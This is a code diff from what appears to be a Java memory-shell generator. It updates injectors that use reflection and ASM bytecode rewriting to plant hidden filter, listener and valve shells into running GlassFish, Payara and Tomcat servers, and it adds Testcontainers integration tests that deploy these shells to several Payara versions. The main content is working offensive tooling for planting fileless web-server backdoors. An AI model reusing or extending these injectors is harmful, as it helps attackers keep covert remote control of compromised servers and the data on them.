diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java index 00814167..5a00ba06 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java @@ -91,10 +91,19 @@ public class GlassFishFilterInjector { if (target == null) { continue; } - Map childrenMap = (Map) getFieldValue(getFieldValue(target, "this$0"), "children"); + Object container = getContainerFromProcessor(target); + if (container == null) { + continue; + } + Map childrenMap = (Map) getFieldValue(container, "children"); + if (childrenMap == null) { + continue; + } for (Object value : childrenMap.values()) { Map children = (Map) getFieldValue(value, "children"); - contexts.addAll(children.values()); + if (children != null) { + contexts.addAll(children.values()); + } } } } @@ -113,6 +122,23 @@ public class GlassFishFilterInjector { return target; } + /** + * Older GlassFish/Payara: ContainerBackgroundProcessor.this$0 + * Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference) + */ + private Object getContainerFromProcessor(Object target) throws Exception { + Object container = getFieldValue(target, "this$0"); + if (container != null) { + return container; + } + Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic"); + Object base = atomic != null ? getFieldValue(atomic, "base") : getFieldValue(target, "base"); + if (base instanceof java.lang.ref.Reference) { + return ((java.lang.ref.Reference) base).get(); + } + return base; + } + private ClassLoader getWebAppClassLoader(Object context) throws Exception { try { return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java index 9343952e..5a19763e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java @@ -80,7 +80,11 @@ public class GlassFishValveInjector { if (target == null) { continue; } - Map childrenMap = (Map) getFieldValue(getFieldValue(target, "this$0"), "children"); + Object container = getContainerFromProcessor(target); + if (container == null) { + continue; + } + Map childrenMap = (Map) getFieldValue(container, "children"); Collection values = childrenMap.values(); for (Object value : values) { Map children = (Map) getFieldValue(value, "children"); @@ -100,6 +104,31 @@ public class GlassFishValveInjector { } } + /** + * Older GlassFish/Payara: ContainerBackgroundProcessor.this$0 + * Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference) + */ + private Object getContainerFromProcessor(Object target) throws Exception { + try { + return getFieldValue(target, "this$0"); + } catch (NoSuchFieldException ignored) { + } + try { + Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic"); + Object base = getFieldValue(atomic, "base"); + if (base instanceof java.lang.ref.Reference) { + return ((java.lang.ref.Reference) base).get(); + } + return base; + } catch (NoSuchFieldException ignored) { + } + Object base = getFieldValue(target, "base"); + if (base instanceof java.lang.ref.Reference) { + return ((java.lang.ref.Reference) base).get(); + } + return base; + } + private ClassLoader getWebAppClassLoader(Object context) throws Exception { try { return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java index 5e8b3f7a..0cbaf5e5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java @@ -76,9 +76,13 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) { MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); - if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) { + // Tomcat uses void invoke; GlassFish/Payara uses int invoke (GlassFishValve) + if (TARGET_METHOD_NAME.equals(name) + && (descriptor.endsWith(")V") || descriptor.endsWith(")I"))) { Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return new TomcatContextValveAgentInjector.AgentShellMethodVisitor(mv, argumentTypes, getClassName()); + boolean returnsInt = descriptor.endsWith(")I"); + return new TomcatContextValveAgentInjector.AgentShellMethodVisitor( + mv, argumentTypes, getClassName(), returnsInt); } return mv; } @@ -88,11 +92,13 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas public static class AgentShellMethodVisitor extends MethodVisitor { private final Type[] argumentTypes; private final String className; + private final boolean returnsInt; - public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) { + public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className, boolean returnsInt) { super(Opcodes.ASM9, mv); this.argumentTypes = argTypes; this.className = className; + this.returnsInt = returnsInt; } @Override @@ -117,7 +123,13 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas "(Ljava/lang/Object;)Z", false); mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse); - mv.visitInsn(Opcodes.RETURN); + // GlassFishValve.END_PIPELINE == 2 + if (returnsInt) { + mv.visitInsn(Opcodes.ICONST_2); + mv.visitInsn(Opcodes.IRETURN); + } else { + mv.visitInsn(Opcodes.RETURN); + } mv.visitLabel(ifConditionFalse); mv.visitLabel(tryEnd); mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java index 92bff42d..8df09869 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java @@ -63,10 +63,19 @@ public class TomcatListenerInjector { if (target == null) { continue; } - Map childrenMap = (Map) getFieldValue(getFieldValue(target, "this$0"), "children"); + Object container = getContainerFromProcessor(target); + if (container == null) { + continue; + } + Map childrenMap = (Map) getFieldValue(container, "children"); + if (childrenMap == null) { + continue; + } for (Object value : childrenMap.values()) { Map children = (Map) getFieldValue(value, "children"); - contexts.addAll(children.values()); + if (children != null) { + contexts.addAll(children.values()); + } } } else if (threadName.contains("Poller") && !threadName.contains("ajp")) { try { @@ -110,6 +119,23 @@ public class TomcatListenerInjector { return target; } + /** + * Older Catalina: ContainerBackgroundProcessor.this$0 + * Payara 6.2024+/7 style: ContainerBackgroundProcessorAtomic.base (WeakReference) + */ + private Object getContainerFromProcessor(Object target) throws Exception { + Object container = getFieldValue(target, "this$0"); + if (container != null) { + return container; + } + Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic"); + Object base = atomic != null ? getFieldValue(atomic, "base") : getFieldValue(target, "base"); + if (base instanceof java.lang.ref.Reference) { + return ((java.lang.ref.Reference) base).get(); + } + return base; + } + @SuppressWarnings("all") private String getContextRoot(Object context) { String r = null; diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/GlassFishFilterProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/GlassFishFilterProbe.java index 67a15ba3..4412146f 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/GlassFishFilterProbe.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/GlassFishFilterProbe.java @@ -160,7 +160,11 @@ public class GlassFishFilterProbe { if (target == null) { continue; } - Map childrenMap = (Map) getFieldValue(getFieldValue(target, "this$0"), "children"); + Object container = getContainerFromProcessor(target); + if (container == null) { + continue; + } + Map childrenMap = (Map) getFieldValue(container, "children"); for (Object value : childrenMap.values()) { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); @@ -179,6 +183,31 @@ public class GlassFishFilterProbe { } } + /** + * Older GlassFish/Payara: ContainerBackgroundProcessor.this$0 + * Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference) + */ + private Object getContainerFromProcessor(Object target) throws Exception { + try { + return getFieldValue(target, "this$0"); + } catch (NoSuchFieldException ignored) { + } + try { + Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic"); + Object base = getFieldValue(atomic, "base"); + if (base instanceof java.lang.ref.Reference) { + return ((java.lang.ref.Reference) base).get(); + } + return base; + } catch (NoSuchFieldException ignored) { + } + Object base = getFieldValue(target, "base"); + if (base instanceof java.lang.ref.Reference) { + return ((java.lang.ref.Reference) base).get(); + } + return base; + } + public static Object invokeMethod(Object obj, String methodName) throws Exception { return invokeMethod(obj, methodName, null, null); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara6202312ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara6202312ContainerTest.java new file mode 100644 index 00000000..a09aa3ce --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara6202312ContainerTest.java @@ -0,0 +1,60 @@ +package com.reajason.javaweb.integration.memshell.payara; + +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import net.bytebuddy.jar.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; + +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Testcontainers +public class Payara6202312ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish( + "payara/server-web:6.2023.12", + "/opt/payara/deployments/app.war") + .warFile(warJakartaFile) + .jakarta(true) + .targetJdkVersion(Opcodes.V11) + .waitStrategy(Wait.forLogMessage(".*JMXService.*", 1)) + .assertLogs(false) + .supportedShellTypes(List.of( + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.JSP)) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .probeShellTypes(List.of( + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE + )) + .build(); + + static Network network = newNetwork(); + @Container + public static final GenericContainer python = buildPythonContainer(network); + + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); + + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara6202412ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara6202412ContainerTest.java new file mode 100644 index 00000000..0e33d727 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara6202412ContainerTest.java @@ -0,0 +1,60 @@ +package com.reajason.javaweb.integration.memshell.payara; + +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import net.bytebuddy.jar.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; + +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Testcontainers +public class Payara6202412ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish( + "payara/server-web:6.2024.12-jdk17", + "/opt/payara/deployments/app.war") + .warFile(warJakartaFile) + .jakarta(true) + .targetJdkVersion(Opcodes.V11) + .waitStrategy(Wait.forLogMessage(".*JMXService.*", 1)) + .assertLogs(false) + .supportedShellTypes(List.of( + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.JSP)) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .probeShellTypes(List.of( + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE + )) + .build(); + + static Network network = newNetwork(); + @Container + public static final GenericContainer python = buildPythonContainer(network); + + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); + + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara6202511ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara6202511ContainerTest.java new file mode 100644 index 00000000..329648f0 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara6202511ContainerTest.java @@ -0,0 +1,60 @@ +package com.reajason.javaweb.integration.memshell.payara; + +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import net.bytebuddy.jar.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; + +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Testcontainers +public class Payara6202511ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish( + "payara/server-web:6.2025.11-jdk21", + "/opt/payara/deployments/app.war") + .warFile(warJakartaFile) + .jakarta(true) + .targetJdkVersion(Opcodes.V11) + .waitStrategy(Wait.forLogMessage(".*JMXService.*", 1)) + .assertLogs(false) + .supportedShellTypes(List.of( + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.JSP)) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .probeShellTypes(List.of( + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE + )) + .build(); + + static Network network = newNetwork(); + @Container + public static final GenericContainer python = buildPythonContainer(network); + + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); + + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara7202606ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara7202606ContainerTest.java new file mode 100644 index 00000000..eb0a81ad --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara7202606ContainerTest.java @@ -0,0 +1,60 @@ +package com.reajason.javaweb.integration.memshell.payara; + +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import net.bytebuddy.jar.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; + +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Testcontainers +public class Payara7202606ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish( + "payara/server-web:7.2026.6", + "/opt/payara/deployments/app.war") + .warFile(warJakartaFile) + .jakarta(true) + .targetJdkVersion(Opcodes.V11) + .waitStrategy(Wait.forHttp("/app/").forPort(8080).forStatusCode(200)) + .assertLogs(false) + .supportedShellTypes(List.of( + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.JSP)) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .probeShellTypes(List.of( + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE + )) + .build(); + + static Network network = newNetwork(); + @Container + public static final GenericContainer python = buildPythonContainer(network); + + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); + + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara6202312ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara6202312ContainerTest.java new file mode 100644 index 00000000..54f795e0 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara6202312ContainerTest.java @@ -0,0 +1,38 @@ +package com.reajason.javaweb.integration.probe.payara; + +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Testcontainers +public class Payara6202312ContainerTest extends AbstractProbeContainerTest { + + private static final ProbeTestConfig CONFIG = ProbeTestConfig.payaraJakarta( + "payara/server-web:6.2023.12", + "/opt/payara/deployments/app.war") + .expectedJdkVersion("JDK|11.0.21|55") + .targetJdkVersion(Opcodes.V11) + .waitStrategy(Wait.forLogMessage(".*JMXService.*", 1)) + .build(); + + @Container + public static final GenericContainer container = buildContainer(CONFIG); + + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; + } + + @Override + protected GenericContainer getContainer() { + return container; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara6202412ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara6202412ContainerTest.java new file mode 100644 index 00000000..a889ed6e --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara6202412ContainerTest.java @@ -0,0 +1,38 @@ +package com.reajason.javaweb.integration.probe.payara; + +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Testcontainers +public class Payara6202412ContainerTest extends AbstractProbeContainerTest { + + private static final ProbeTestConfig CONFIG = ProbeTestConfig.payaraJakarta( + "payara/server-web:6.2024.12-jdk17", + "/opt/payara/deployments/app.war") + .expectedJdkVersion("JDK|17.0.13|61") + .targetJdkVersion(Opcodes.V17) + .waitStrategy(Wait.forLogMessage(".*JMXService.*", 1)) + .build(); + + @Container + public static final GenericContainer container = buildContainer(CONFIG); + + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; + } + + @Override + protected GenericContainer getContainer() { + return container; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara6202511ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara6202511ContainerTest.java new file mode 100644 index 00000000..9dc26c46 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara6202511ContainerTest.java @@ -0,0 +1,38 @@ +package com.reajason.javaweb.integration.probe.payara; + +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Testcontainers +public class Payara6202511ContainerTest extends AbstractProbeContainerTest { + + private static final ProbeTestConfig CONFIG = ProbeTestConfig.payaraJakarta( + "payara/server-web:6.2025.11-jdk21", + "/opt/payara/deployments/app.war") + .expectedJdkVersion("JDK|21.0.9|65") + .targetJdkVersion(Opcodes.V21) + .waitStrategy(Wait.forLogMessage(".*JMXService.*", 1)) + .build(); + + @Container + public static final GenericContainer container = buildContainer(CONFIG); + + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; + } + + @Override + protected GenericContainer getContainer() { + return container; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara7202606ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara7202606ContainerTest.java new file mode 100644 index 00000000..dbbca1ea --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara7202606ContainerTest.java @@ -0,0 +1,38 @@ +package com.reajason.javaweb.integration.probe.payara; + +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Testcontainers +public class Payara7202606ContainerTest extends AbstractProbeContainerTest { + + private static final ProbeTestConfig CONFIG = ProbeTestConfig.payaraJakarta( + "payara/server-web:7.2026.6", + "/opt/payara/deployments/app.war") + .expectedJdkVersion("JDK|21.0.11|65") + .targetJdkVersion(Opcodes.V21) + .waitStrategy(Wait.forHttp("/app/").forPort(8080).forStatusCode(200)) + .build(); + + @Container + public static final GenericContainer container = buildContainer(CONFIG); + + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; + } + + @Override + protected GenericContainer getContainer() { + return container; + } +} diff --git a/integration-test/src/test/resources/infos/Payara6202312ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Payara6202312ContainerTestBasicInfo.txt new file mode 100644 index 00000000..c1f48f5b --- /dev/null +++ b/integration-test/src/test/resources/infos/Payara6202312ContainerTestBasicInfo.txt @@ -0,0 +1,1926 @@ +# Generated At 2026-08-02 06:51:34 +SystemProps: +javax.xml.accessExternalSchema: all +awt.toolkit: sun.awt.X11.XToolkit +jdk.tls.rejectClientInitiatedRenegotiation: true +java.specification.version: 11 +jdk.corba.allowOutputStreamSubclass: true +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +javax.net.ssl.trustStorePassword: changeit +com.sun.aas.installRoot: /opt/payara/appserver/glassfish +sun.arch.data.model: 64 +sun.font.fontmanager: sun.awt.X11FontManager +java.vendor.url: http://www.azul.com/ +com.sun.aas.productRoot: /opt/payara/appserver +catalina.useNaming: false +org.omg.CORBA.ORBSingletonClass: com.sun.corba.ee.impl.orb.ORBSingleton +sun.boot.library.path: /usr/lib/jvm/zulu11-ca-amd64/lib +sun.java.command: com.sun.enterprise.glassfish.bootstrap.ASMain -prebootcommandfile /opt/payara/config/pre-boot-commands-final.asadmin -upgrade false -read-stdin true -postbootcommandfile /opt/payara/config/post-boot-commands-final.asadmin -domainname domain1 -domaindir /opt/payara/appserver/glassfish/domains/domain1 -asadmin-args --host,,,localhost,,,--port,,,4848,,,--user,,,admin,,,--passwordfile,,,/opt/payara/passwordFile,,,--secure=false,,,--terse=false,,,--extraterse=false,,,--echo=false,,,--interactive=false,,,--autoname=false,,,start-domain,,,--verbose=false,,,--watchdog=false,,,--debug=false,,,--warmup=false,,,--domaindir,,,/opt/payara/appserver/glassfish/domains,,,domain1 -instancename server -type DAS -verbose false -warmup false -asadmin-classpath /opt/payara/appserver/glassfish/lib/client/appserver-cli.jar -debug false -asadmin-classname com.sun.enterprise.admin.cli.AdminMain -watchdog false +jdk.debug: release +java.specification.vendor: Oracle Corporation +gosh.args: --nointeractive +java.version.date: 2023-10-17 +java.home: /usr/lib/jvm/zulu11-ca-amd64 +com.sun.enterprise.security.httpsOutboundKeyAlias: s1as +file.separator: / +org.jboss.weld.serialization.beanIdentifierIndexOptimization: false +java.vm.compressedOopsMode: Zero based +line.separator: + +javax.rmi.CORBA.StubClass: com.sun.corba.ee.impl.javax.rmi.CORBA.StubDelegateImpl +java.specification.name: Java Platform API Specification +java.vm.specification.vendor: Oracle Corporation +osgi.shell.telnet.ip: 127.0.0.1 +jdk.attach.allowAttachSelf: true +jdk.vendor.version: Zulu11.68+17-CA +simple.jacc.provider.JACCRoleMapper.class: com.sun.enterprise.security.web.integration.GlassfishRoleMapper +javax.rmi.CORBA.UtilClass: com.sun.corba.ee.impl.javax.rmi.CORBA.Util +jdbc.drivers: org.h2.Driver +javax.net.ssl.trustStore: /opt/payara/appserver/glassfish/domains/domain1/config/cacerts.p12 +java.util.logging.config.file: /opt/payara/appserver/glassfish/domains/domain1/config/logging.properties +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 11.0.21+9-LTS +GlassFish_Platform: Felix +user.name: payara +AS_CONFIG: /opt/payara/appserver/glassfish/config/../config +felix.fileinstall.poll: 5000 +java.security.policy: /opt/payara/appserver/glassfish/domains/domain1/config/server.policy +com.sun.enterprise.config.config_environment_factory_class: com.sun.enterprise.config.serverbeans.AppserverConfigEnvironmentFactory +felix.fileinstall.log.level: 2 +file.encoding: UTF-8 +fish.payara.aas.h2Root: /opt/payara/appserver/h2db +com.sun.aas.imqLib: /opt/payara/appserver/mq/lib +java.vendor.version: Zulu11.68+17-CA +AS_IMQ_BIN: ../../mq/bin +java.io.tmpdir: /tmp +java.version: 11.0.21 +java.vm.specification.name: Java Virtual Machine Specification +com.sun.aas.instanceRoot: /opt/payara/appserver/glassfish/domains/domain1 +java.awt.printerjob: sun.print.PSPrinterJob +sun.os.patch.level: unknown +java.library.path: /opt/payara/appserver/glassfish/lib:/usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +java.vendor: Azul Systems, Inc. +ANTLR_USE_DIRECT_CLASS_LOADING: true +java.specification.maintenance.version: 2 +java.rmi.server.randomIDs: true +sun.io.unicode.encoding: UnicodeLittle +AS_DEF_DOMAINS_PATH: /opt/payara/appserver/glassfish/config/../domains +felix.fileinstall.dir: /opt/payara/appserver/glassfish/modules/autostart/ +java.class.path: /opt/payara/appserver/glassfish/domains/domain1/lib/ext/*:/opt/payara/appserver/glassfish/modules/glassfish.jar +com.sun.aas.instanceRootURI: file:/opt/payara/appserver/glassfish/domains/domain1/ +jakarta.security.jacc.PolicyConfigurationFactory.provider: fish.payara.security.jacc.provider.PolicyConfigurationFactoryImpl +java.vm.vendor: Azul Systems, Inc. +org.glassfish.gmbal.no.multipleUpperBoundsException: true +user.timezone: GMT +os.name: Linux +java.vm.specification.version: 11 +AS_H2_INSTALL: /opt/payara/appserver/glassfish/config/../../h2db +sun.java.launcher: SUN_STANDARD +user.country: US +org.glassfish.grizzly.DEFAULT_MEMORY_MANAGER: org.glassfish.grizzly.memory.HeapMemoryManager +sun.cpu.endian: little +user.home: /opt/payara +user.language: en +javax.rmi.CORBA.PortableRemoteObjectClass: com.sun.corba.ee.impl.javax.rmi.PortableRemoteObject +felix.fileinstall.bundles.new.start: true +com.sun.aas.hostName: 11a2cc442c70 +AS_INSTALL: /opt/payara/appserver/glassfish/config/.. +javax.net.ssl.keyStorePassword: changeit +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.awt.headless: true +com.ctc.wstx.returnNullForDefaultNamespace: true +AS_DEF_NODES_PATH: ../nodes +org.omg.CORBA.ORBClass: com.sun.corba.ee.impl.orb.ORBImpl +com.sun.aas.instanceName: server +jdk.util.zip.disableZip64ExtraFieldValidation: true +javax.rmi.ssl.client.enabledProtocols: TLSv1.2,TLSv1.3 +org.glassfish.additionalOSGiBundlesToStart: org.apache.felix.shell,org.apache.felix.gogo.runtime,org.apache.felix.gogo.shell,org.apache.felix.gogo.command,org.apache.felix.shell.remote,org.apache.felix.fileinstall +path.separator: : +os.version: 7.0.11-orbstack-00360-gc9bc4d96ac70 +com.sun.aas.installRootURI: file:/opt/payara/appserver/glassfish/ +java.runtime.name: OpenJDK Runtime Environment +osgi.shell.telnet.maxconn: 1 +felix.fileinstall.bundles.startTransient: true +AS_IMQ_LIB: ../../mq/lib +com.sun.aas.configRoot: /opt/payara/appserver/glassfish/config +com.sun.aas.imqBin: /opt/payara/appserver/mq/bin +java.vm.name: OpenJDK 64-Bit Server VM +com.sun.aas.javaRoot: /usr/lib/jvm/zulu11-ca-amd64 +javax.net.ssl.keyStore: /opt/payara/appserver/glassfish/domains/domain1/config/keystore.p12 +java.security.auth.login.config: /opt/payara/appserver/glassfish/domains/domain1/config/login.conf +felix.fileinstall.disableConfigSave: false 